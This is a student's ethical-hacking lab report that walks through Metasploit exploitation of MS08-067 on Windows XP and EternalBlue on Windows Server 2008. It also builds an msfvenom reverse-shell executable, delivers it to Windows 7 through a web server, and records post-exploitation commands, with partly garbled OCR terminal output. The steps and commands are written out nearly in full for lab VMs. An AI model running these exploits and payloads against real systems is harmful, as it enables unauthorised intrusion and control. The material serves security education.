OLD DOMINION UNIVERSITY CYSE 301 CYBERSECURITY TECHNIQUES AND OPERATIONS

ASSIGNMENT #4 – ETHICAL HACKING

JEGGO PAOLO V. DYCOK 01242866

TASK A

1. Run a port scan against the Windows XP using nmap command to identify open ports and services.

2. Identify the SMB port number (default: 445) and confirm that it is open.



Procedure:

- I ran "nmap -sV 192.168.10.14" to scan windows XP for open ports and confirm that port 445 is open.
- 3. Launch Metasploit Framework and search for the exploit module: ms08_067_netapi



Procedure:

• I launched metasploit using "msfconsole" command.

4. Use ms08_067_netapi as the exploit module and set meterpreter reverse_tcp as the payload.



Procedure:

• I typed "search ms08 067 netapi" to pull dowm information on the exploit.

5. Use DDMMYY as the listening port number. (It is based on your current timestamp. For example, today's date is March 9th, 2023. Then, you should configure the listening port as 9323.) Configure the rest of the parameters. Display your configurations and exploit the target.

		ro	ot@CS2APenTest: ~ O @	0
File Edit V	iew Search Termina	l Help		
rhosts => 1 nsf5 exploi lhost => 19 nsf5 exploi lport => 20 nsf5 exploi	92.168.10.14 t(windows/smb/ms01 2.168.10.13 t(windows/smb/ms01 323 t(windows/smb/ms01	9_067_neta 9_067_neta 9_067_neta	pi) > set lhost [192.168.10.13 pi) > set lport 20323 pi) > show options	
Module opti	ons (exploit/winde	ows/smb/ms/	98_967_netapi):	
Nane	Current Setting	Required	Description	
RHOSTS RPORT SMBPIPE	192.168.10.14 445 BROWSER	yes yes yes	The target address range or CIDR identifier The SMB service port (TCP) The pipe name to use (BROWSER, SRVSVC)	
Payload opt	ions (windows/mete	erpreter/r	everse_tcp):	
Name	Current Setting	Required yes	Description Exit technique (Accepted: '', seh, thread, pr	oce
d) LHOST LPORT	192.168.10.13 20323	yes yes	The listen address (an interface may be speci The listen port	fie
s 95 bytes Exploit tan	13101 (12.7 K18)			
Id Name 9 Auto <u>nsf5</u> exploi	matic Targeting t(windows/smb/ms00		pi} > c	

• Since I am performing reverse TCP, I set the RHOSTS to windows XP IP(192.168.10.14) and I set the LHOST as the internal kali IP(192.168.10.13). I set the listener with LPORT 20323 because of the system time.

6. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if the exploit is successful.

				root@CS2APenTest: ~	۰	Θ	0
File Edit Vi	iew Search	Terminal	Help				
EXITFUNC LHOST LPORT	thread 192.168.1 20323	10.13	yes yes yes	Exit technique (Accepted: '', seh, thread, process The listen address (an interface may be specified) The listen port	, n	one)	^
inet 192.1 inet6 fe80							
Exploit tar	get:						
Id Name							
0 Autor	natic Targe	eting					
<u>asf5</u> exploi	t (windows/s			pi) > exploit			
 Started 192.168 192.168 192.168 192.168 192.168 192.168 Sending Neterpresense -9488 	reverse T/ .10.14:445 .10.14:445 .10.14:445 .10.14:445 stage (179 eter session > sysinfo	CP handl - Autom - Finge - Selec - Attem 9779 byt	er on 192 atically rprint: W ted Targe pting to es) to 19 ned (192.	.168.10.13:20323 detecting the target indows XP - Service Pack 3 - lang:English t: Windows XP SP3 English (AlwaysOn NX) trigger the wulnerability 2.168.10.14 168.10.13:20323 -> 192.168.10.14:1036} at 2023-03-21	69	:51:	87
Computer OS Architectury	: ORG : Wind e : x86	JLF918G dows XP	WXFM (Build 26	00, Service Pack 3).			
System Lang	uage : en_l	JS					
Domain	: WOR	KGROUP					
Logged On Us	sers : 2	t di nationari					
neterpreter	: X80, > SCLEEDS	not					
Screenshot	saved to:	/root/Co	NNjIRm.jp	eq			
neterpreter							ź

- I typed the screenshot command on the meterpreter shell.
- root@C52APenTest:~

 File Edit View Search Terminal Help

 SechangeMotifyPrivilege

 SecherateGlobalPrivilege

 SecreatePagefilePrivilege

 SecreatePagefilePrivilege

 SecreateGlobalPrivilege

 SecreateGlobalPrivilege

 SecreateGlobalPrivilege

 SecreateGlobalPrivilege

 SecreateGlobalPrivilege

 SecreateGlobalPrivilege

 SecherateGlobalPrivilege

 SechershipPrivilege

 SechershipPrivilege

 SechershipPrivilege

 SechershipPrivilege

 SechershipPrivilege

 SechershipPrivilege

 SechershipPrivilege

 SechershipPrivilege

 SechershipPrivilege

 Secherstof

 Server us
- 7. [Post-exploitation] In meterpreter shell, get system information about the target.

• On the meterpreter shell, I typed "sysinfo" command.



8. [Post-exploitation] In meterpreter shell, get the SID of the user.

Procedure:

• I typed "getuid".

9. [Post-exploitation] In meterpreter shell, get the current process identifier.

root@CS2APenTest: ~	0	Θ	ø
File Edit View Search Terminal Help			
Enabled Process Privileges			-
Nace_41634UP_DROADCAST_PUNNING_MULTICASTSntu_1500			
SeAssignPrimaryTokenPrivilege SeAsditPrivilege SeBaskupPrivilege SeCreateBagefilePrivilege SeCreatePagefilePrivilege SeCreateProkenPrivilege SeCreateFokenPrivilege SeDebugPrivilege SeIncreaseBasePriorityPrivilege SeIncreaseBasePriorityPrivilege SeLockHenoryPrivilege SeLockHenoryPrivilege SeLockHenoryPrivilege SeLockHenoryPrivilege SeRostorePrivilege SeRostorePrivilege SeRostorePrivilege SeRostorePrivilege SeStutityPrivilege SeStutityPrivilege			
SeSystemtinePrivilege			
SeTakeOwnershipPrivilege			
SetCePrivilege			
SeunaockPrivilege			
<pre>meterpreter > getuid Server username: NT_AUTHORITY\SYSTEM meterpreter > getpid Current pid: 964</pre>			
neterpreter >			7 ²

- I typed "getpid" on the meterpreter shell.
- •

10. [Post-exploitation] In meterpreter shell, display the target system's local date and time.

			root@CS2APenTest: ~	0	Θ	0
File Edit Vie	w Search Terminal	l Help				
Nane Sea	Current Setting	Required	Description			^
EXITFUNC LHOST LPORT	thread 192.168.10.13 20323	yes yes yes	Exit technique (Accepted: '', seh, thread, proce The listen address (an interface may be specified The listen port	ss, r i)	none))
Exploit targ	2071 bytes 1249 et:					
Id Name						
0 Auton	atic Targeting					
<u>msf5</u> exploit			<pre>i) > exploit ()</pre>			
 Started 192.168. 192.168. 192.168. 192.168. 192.168. Sending Neterpre -9488 	reverse TCP handl 10.14:445 - Auton 10.14:445 - Finge 10.14:445 - Selec 10.14:445 - Atten stage (179779 byt ter session 1 ope	er on 192.1 atically de rprint: Wir ted Target: pting to tr es) to 192.10 ned (192.10	168.10.13:20323 etecting the target ndows XP - Service Pack 3 - lang:English : Windows XP SP3 English (AlwaysOn NX) rigger the vulnerability .168.10.14 58.10.13:20323 -> 192.168.10.14:1036) at 2023-03-:	21 86	9:51:	:07
neterpreter Computer OS Architecture Systen Langu Domain Logged On Us Neterpreter neterpreter	<pre>> sysinfo : ORG-JLF910G : Windows XP : x86 age : en US : WORKGROUP ers : 2 : x86/windows ></pre>	WXFM (Build 2600	0, Service Pack 3).			

• On the meterpreter shell, I typed "shell" and then "date" to find the local time.

Task B. Exploit EternalBlue on Windows Server 2008 with Metasploit (20 pt) In this task, you need to use similar steps to exploit the EternalBlue vulnerability on Windows Server 2008. Make sure to search and replace the exploit module against Windows Server 2008 accordingly.

1. Configure your Metasploit accordingly and set DDMMYY as the listening port number. Display the configuration and exploit the target. (10 pt)



root@CS2APenTest: ~ O	Θ	0
File Edit View Search Terminal Help		
(+) 192 168.18.11:445	Sta	nsi A
ard 7680 x64 (64-bit)		
[*] 192.168.10.11:445 - Connecting to target for exploitation.		
(+) 192.168.10.11:445 - Connection established for exploitation.		
(+) 192.168.10.11:445 - Target OS selected valid for OS indicated by SMB reply		
(*) 192.168.10.11:445 - CORE raw buffer dump (36 bytes)		
(*) 192.168.10.11:445 - 0x00000000 57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32 Window	s Se	EV.
er 2		
[*] 192.168.10.11:445 - 0x00000010 30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20 008 R2	Sta	nd
ard		
192.168.10.11:445 - 0x00000020 37 36 30 30 7600		
(1) 102 108 10 11 110 Terror and calended wild for each indicated by DEF (DEF care).		
(+) 192.108.10.11:445 - Target archisetered value for archinolitated by DLE/RPL repty (1) 192.108.10.11:445 - Target archive using the 13 Grant Alberting.		
(a) 152.168.18.11:445 - Trying exploit with 12 broom Actocations.		
(a) 192.188.18.11.445 - Starting att but tast ragment of Experint packet		
(+) 192.109.10.11.445 - Starting MP/2 buffare		
(+) 192 168 10 11:445 - Clasing Shave connection creating free hole adjacent to SMBv2 huffe	-	
[9] 192.168.10.11:445 - Sending final SMBv2 buffers.		
192.168.10.11:445 - Sending last fragment of exploit packet!		
192.168.10.11:445 - Receiving response from exploit packet		
(+) 192.168.10.11:445 - ETERNALBLUE overwrite completed successfully (0xC0000000)!		
[*] 192.168.10.11:445 - Sending egg to corrupted connection.		
[*] 192.168.10.11:445 - Triggering free of corrupted buffer.		
[*] Sending stage (206403 bytes) to 192.168.10.11		
(*) Meterpreter session 2 opened (192.168.10.13:20323 -> 192.168.10.11:49157) at 2023-03-21	01:	24
:54 - 8488		
(+) 192.168.10.11:445 · =·=·=·=·=·=·=·=·=·=·=·=·=·=·=·=·=·=·		
[+] 192.168.10.11:445 · =-=-=-=-=-=-=-=-=-win-=-=-win-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=		
[+] 192.168.10.11:445 = =================================		
	AC	IVat
neterpreter >	Gol	

- I searched the IP using nmap on 192.168.10.0/24
- I used "nmap -sV" to get the version information
- I opened msfconsole
- I searched for eternal blue by typing "search eternal blue"
- I type use "windows/smb/ms17 010 eternalblue" command
- I set the payload for "windows/x64/meterpreter/reverse_tcp"
- I set the RHOSTS to 192.168.10.11 and LHOST to 192.168.10.13 and LPORT to 20323 for the system date.
- Then I hit exploit.

2. [Post-exploitation] Execute the screenshot command to take a screenshot of the target machine if the exploit is successful. (2 pt)

root@CS2APenTest: ~	0	Θ	0
File Edit View Search Terminal Help			
[*] 192.168.10.11:445 - Connecting to target for exploitation.			^
[+] 192.168.10.11:445 - Connection established for exploitation.			
[+] 192.168.10.11:445 - Target OS selected valid for OS indicated by SMB reply			
192.168.10.11:445 - CORE raw butter dump (36 bytes)		-	
192,168,18,11:445 - 0X00000000 57 69 66 64 67 77 73 20 53 65 72 76 65 72 20 32	Mindows	se	EV.
	000 00		
and and an	606 R2	sta	195
	7500		
[2] 132.100.10.11:443 - 0.00000022 - 31.30.30 30	1060		
[+] 192 168 18 11:445 - Tarnet arch selected valid for arch indicated by DCE/BPC repl	w.		
19 192.168.10.11:445 - Trying exploit with 12 Groon Allocations.	,		
192.168.19.11:445 - Sending all but last fragment of exploit packet			
192.168.10.11:445 - Starting non-paged pool grooming			
+ 192.168.10.11:445 - Sending SMBv2 buffers			
(+) 192.168.10.11:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2	buffer		
192.168.10.11:445 - Sending final SMBv2 buffers.			
192.168.10.11:445 - Sending last fragment of exploit packet!			
192.168.10.11:445 - Receiving response from exploit packet			
(+) 192.168.10.11:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!			
[*] 192.168.10.11:445 - Sending egg to corrupted connection.			
(*) 192.168.10.11:445 - Triggering free of corrupted buffer.			
(*) Sending stage (206403 bytes) to 192.168.10.11			
(*) Meterpreter session 2 opened (192.168.10.13:20323 -> 192.168.10.11:49157) at 2023	-03-21	01::	24
:54 -0400			
[+] 192.168.10.11:445			
[+] 192.168.10.11:445 · =-=-=-=-=-=-=-=			
(+) 192.168.10.11:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-			
neterpreter > screenshot			
Screenshot saved to: /root/iEOKIXUq.jpeg		Act	ivat
neterpreter >		Got	0.00

- I entered "screenshot" command
- 3. [Post-exploitation] In meterpreter shell, get system information about the target. (2 pt)

	root@CS2APenTest: ~	0	Θ	0
File Edit View Search Term	sinal Help			
Host Name:	W280882			
05 Nanc:	Microsoft Windows Server 2008 R2 Standard			
05 Version:	6.1.7608 N/A Build 7680			
OS Manufacturer:	Microsoft Corporation			
OS Configuration:	Standalone Server			
OS Build Type:	Multiprocessor Free			
Registered Owner:	Windows User			
Registered Organization:				
Product ID:	55841 - 262 - 2218431 - 84323			
Original Install Date:	8/24/2017, 2:09:58 PM			
System Boot Time:	3/21/2023, 1:15:35 AM			
System Manufacturer:	Microsoft Corporation			
System Model:	Virtual Machine			
System Type:	x64-based PC			
Processor(s):	1 Processor(s) Installed.			
	[01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2180	Mhz		
BIOS Version:	American Megatrends Inc. 090807 , 5/18/2818			
Windows Directory:	C:\Windows			
System Directory:	C:\Windows\system32			
Boot Device:	\Device\HarddiskVolume1			
System Locale:	en-us;English (United States)			
Input Locale:	en-us;English (United States)			
Tine Zone:	(UTC-05:00) Eastern Time (US & Canada)			
Total Physical Memory:	2,848 MB			
Available Physical Memory:	1,703 MB			
Virtual Memory: Max Size:	4,895 MB			
Virtual Memory: Available:	3,725 MB			
Virtual Memory: In Use:	378 MB			
Page File Location(s):	C:\pagefile.sys			
Domain:	WORKGROUP		Act	ΠV
Logon Server:	N/A		Gol	03

Procedure:

• I entered "shell" and typed "sysinfo" to obtain system information.

4. [Post-exploitation] In meterpreter shell, get the SID of the user. (2 pt)



- I entered "getuid" command to obtain SID of user.
- 5. [Post-exploitation] In meterpreter shell, get the current process identifier. (2 pt)



• I enterd "getpid" on the msfconsole

6. [Post-exploitation] In meterpreter shell, display the target system's local date and time. (2pt)



Procedure:

• I entered "shell" and then I enterd "date" to obtain local time.

Task C. Exploit Windows 7 with a deliverable payload.

In this task, you need to create an executable payload with the required configurations below. Once your payload is ready, you should upload it to the web server running on Kali Linux and download the payload from Windows 7, then execute it on the target to make a reverse shell (20 pt). Of course, don't forget to configure your Metasploit on Kali Linux before the payload is triggered on the target VM.

The requirements for your payload are (10 pt, 5pt each):

• Payload Name: Use your MIDAS ID (for example, pjiang.exe)

• Listening port: DDMMYY (It is based on your current timestamp. For example, today's date is March 9th, 2023. Then, you should configure the listening port as 9323.) [Post-exploitation] Once you have established the reverse shell connection to the target

Windows 7, complete the following tasks in your meterpreter shell:



- I started metasploit.
- I used multi/handler exploit
- I set the lhost to 192.168.10.13
- I set the lport to 21323
- I executed "exploit" command
- I opened msfvenom and executed "msfvenom -p windows/meterpreter/reverse_tcp lport=21323 lhost291.168.10.13 -f exe –o jdyco001.exe"
- Used "cp jdyco001.exe var/www/html/" to make it accessible using the browser
- I started apache2
- I moved to windows 7 VM and opened the link: 192.168.10.13/jdyco001.exe and it automatically downloaded.
- The listerner in external kali executed the connection and opened the meterpreter

1. Execute the screenshot command to take a screenshot of the target machine if the exploit is successful. (10 pt)



• I executed the screenshot command.

2. Create a text file on the attacker Kali named "IMadeIT-YourMIDAS.txt" (replace YourMIDAS with your university MIDAS ID) and put the current timestamp in the file. Upload this file to the target's desktop. Then log in to Windows 7 VM and check if the file exists. You need to show me the command that uploads the file. (20 pt)

				root@	CS2APenTest: ~	File Action	Media Clipboard View	Help		
File Edit View S	earch Tei	rminal	Help			Ba 🕘 🖲 🧕) 🔕 💷 🕩 🔂 💆 🔛	8		
Mode : # ls	Size	Туре	Last modified		Name	(D. 403 Max				
Downlos							round			
40777/rwxrwxrwx	4096		2017-08-24 13:22:27	-0400	.zenmap	$\leftarrow \rightarrow \mathbf{C}$	A 10210010120 000			
40777/rwxrwxrwx			2017-08-23 11:14:33	-0400	AppData					
40777/rwxrwxrwx			2017-08-23 11:14:33	-0400	Application Data	NI (D				
40555/r-xr-xr-x			2017-08-23 11:15:16	-0400	Contacts	Not F	Window .	 Desktop 		
40777/rwxrwxrwx			2017-08-23 11:14:33	-0400	Cookies		Ourseine en Instantain	Channel Channelling	Mary Colder	
40555/r-xr-xr-x	4096		2017-08-23 11:14:33	-0400	Desktop	The requester	Organize • Include In	indrary • Share with •	New folder	
40555/r-xr-xr-x	4096	dir	2017-08-23 11:14:33	-0400	Documents	The requested	the Francisco	Name		Date modified
40555/r-xr-xr-x	θ	dir	2017-08-23 11:14:33	-0400	Downloads		Pavorites			
40555/r-xr-xr-x	4096		2017-08-23 11:14:33	-0400	Favorites	Apache/2.4.3	Sesktop	IMadeIT-jdyco001		3/22/2023 1:16 A
40555/r-xr-xr-x			2017-08-23 11:14:33	-0400	Links		Downloads	🔊 Nmap - Zenmap GUI		2/24/2020 10:07
40777/rwxrwxrwx			2017-08-23 11:14:33	-0400	Local Settings		3 Recent Places	📷 Steghide		8/23/2017 11:47
40555/r-xr-xr-x			2017-08-23 11:14:33	-0400	Music			R. S-Tools		8/23/2017 11:45
40777/rwxrwxrwx		dir	2017-08-23 11:14:33	-0400	My Documents		E Libraries	Tools - Shortout		8/22/2017 11:45
100666/rw-rw-rw-	786432	fil	2017-08-23 11:14:33	-0400	NTUSER.DAT		Descurrents	S room - anoneur		0.2.3.2011 11.4
100666/rw-rw-rw-	65536	fil	2017-08-23 11:14:33	-0400	NTUSER.DAT{6cced2f1-6e0		Documents			
109666/rw-rw-rw-	524288	fil	2017-08-23 11:14:33	-0400	NTUSER.DAT{6cced2f1-6e0		Music			
000000000000000000000000000000000000000	001.regtr	ans-ms					Pictures			
100666/rw-rw-rw-	524288		2017-08-23 11:14:33	-0400	NTUSER.DAT{6cced2f1-6e0		Videos			
000000000000000000000000000000000000000	002.regtr	ans-ms								
40777/rwxrwxrwx			2017-08-23 11:14:33	-0400	NetHood		Homegroup			
40555/r-xr-xr-x		dir	2017-08-23 11:14:33	-0400	Pictures		Homegroup			
40777/rwxrwxrwx	θ	dir	2017-08-23 11:14:33	-0400	PrintHood					
40777/rwxrwxrwx			2017-08-23 11:14:33	-0400	Recent		P Computer			
40555/r-xr-xr-x			2017-08-23 11:14:33	-0400	Saved Games		🍒 Local Disk (C:)			
40555/r-xr-xr-x			2017-08-23 11:15:25	-0400	Searches		🖵 vmshare (\\169.254.t			
40777/rwxrwxrwx			2017-08-23 11:14:33	-0400	SendTo					
40777/rwxrwxrwx		dir	2017-08-23 11:14:33	-0400	Start Menu		Ste Network			
40777/rwxrwxrwx		dir	2017-08-23 11:14:33	-0400	Templates		- Herrone			
40555/r-xr-xr-x		dir	2017-08-23 11:14:33	-0400	Videos					
100666/rw-rw-rw-	262144	fil	2017-08-23 11:14:33	-0400	ntuser.dat.LOG1					
100666/rw-rw-rw-		fil	2017-08-23 11:14:33	-0400	ntuser.dat.LOG2					
100666/rw-rw-rw-	20		2017-08-23 11:14:33	-0400	ntuser.ini		5 items			
<pre>meterpreter > cd meterpreter > pwd C:\Users\window 2</pre>	Desktop 1 V\Desktop									

- I created a text file with the name "IMadeIT-jdyco001.txt" with the timestamp inside using the echo command.
- I used the cd command in the meterpreter to navigate to the desktop location: C:\Users\window 7\Desktop"

- I used the upload command to move the file to windows 7 desktop.
- The window on the right displays the windows 7 VM with the text file after uploading.